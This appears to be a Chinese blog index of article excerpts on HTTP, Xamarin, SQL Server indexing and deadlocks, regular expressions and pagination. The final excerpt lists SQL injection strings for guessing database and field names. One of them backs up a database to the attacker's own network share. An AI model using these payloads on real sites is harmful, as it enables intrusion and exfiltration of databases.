摘要:
什么是HTTP? HTTP是超文本传输协议,是一种用于在万维网,传输文件,无论是HTML文件,还是图片,请求等数据的网络协议。通常HTTP协议是建立在TCP/IP socket通信基础之上的。 HTTP协议是客户端(client)和服务器(servers)通信的协议。浏览器就是一个客户端,因为它发送 阅读全文
摘要:
1.添加Xamarin.Android.Support.v4.dll2.使用ViewPager控件3.为ViewPager设置适配器,声明适配器继承PagerAdapter,重写3个方法,1个属性ViewPager mVP = FindViewById(Resource.Id.mYvp);mVP.A... 阅读全文
摘要:
六、有关索引的几个问题问题1,是否值得在identity字段上建立聚集索引。答案取决于identity字段如何在语句中使用。如果你经常根据该字段搜索返回很少的行,那么在其上建立索引是值得的。反之如果identity字段根本很少在语句中使用,那么就不应该对其建立任何索引。问题2,一个表应该建立多少索引... 阅读全文
摘要:
四、分析执行计划创建索引根据语句的执行计划来判断应该对什么表创建什么索引,是常用优化技巧。其实文章前面的例子已经告诉读者如何结合statistics profile和statistics IO语句的输出来创建索引。这里分析一个稍微复杂一些的例子。SQL语句如下:SELECT CurrentseNo ... 阅读全文
摘要:
一、前言很多数据库系统性能不理想是因为系统没有经过整体优化,存在大量性能低下的SQL语句。这类SQL语句性能不好的首要原因是缺乏高效的索引。没有索引除了导致语句本身运行速度慢外,更是导致大量的磁盘读写操作,使得整个系统性能都受之影响而变差。解决这类系统的首要办法是优化这些没有索引或索引不够好的SQL... 阅读全文
摘要:
var browser=navigator.appName;var userAgent = navigator.userAgent.toLowerCase();userAgent :mozilla/4.0 (compatible; msie 7.0; windows nt 6.1; wow64; trident/6.0; slcc2; .net clr 2.0.50727; .net clr 3.5.30729; .net clr 3.0.30729; media center pc 6.0; infopath.3; .net4.0c; .net4.0e; se 2.x metasr 1.0) 阅读全文
摘要:
--死鎖/********************************************************************************死鎖指兩個以上事務相互阻塞相互等待對方釋放它們的鎖,SQLServer會通過回滾其中一個事務並返回一個錯誤來自已解決阻塞問題,讓其他事務完成它們的工作。****************************************************************************************/setnocounton;ifobject_id('T1')isnotnulldro 阅读全文
摘要:
匹配中文:[\u4e00-\u9fa5] 英文字母:[a-zA-Z] 数字:[0-9] 匹配中文,英文字母和数字及_: ^[\u4e00-\u9fa5_a-zA-Z0-9]+$同时判断输入长度: [\u4e00-\u9fa5_a-zA-Z0-9_]{4,10}^[\w\u4E00-\u9FA5\uF900-\uFA2D]*$ 1、一个正则表达式,只含有汉字、数字、字母、下划线不能以下划线开头和结尾: ^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$ 其中: ^ 与字符串开始的地方匹配 (?!_) 不能以_开头 (?!.*?_$) 不能以_结尾 [a... 阅读全文
摘要:
常用的数据分页方法我们经常会碰到要取n到m条记录,就是有分页思想,下面罗列一下一般的方法。我本地的一张表 tbl_FlightsDetail,有300多W记录,主键 FlightsDetailID(Guid),要求按照FlightsDetailID排序 取 3000001 到3000010 之间的10条记录,也是百万级。方法1 定位法 (利用ID大于多少)语句形式:select top 10 * from tbl_FlightsDetail where FlightsDetailID>( select max(FlightsDetailID) from ( ... 阅读全文
摘要:
最简单的一种SQL注入,常见的注入语句还有:1)猜测数据库名,备份数据库a)猜测数据库名:and db_name() >0或系统表master.dbo.sysdatabasesb)备份数据库:;backup database数据库名to disk = ‘c:\*.db’;--或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--2)猜解字段名称a)猜解法:and (select count(字段名) from表名 阅读全文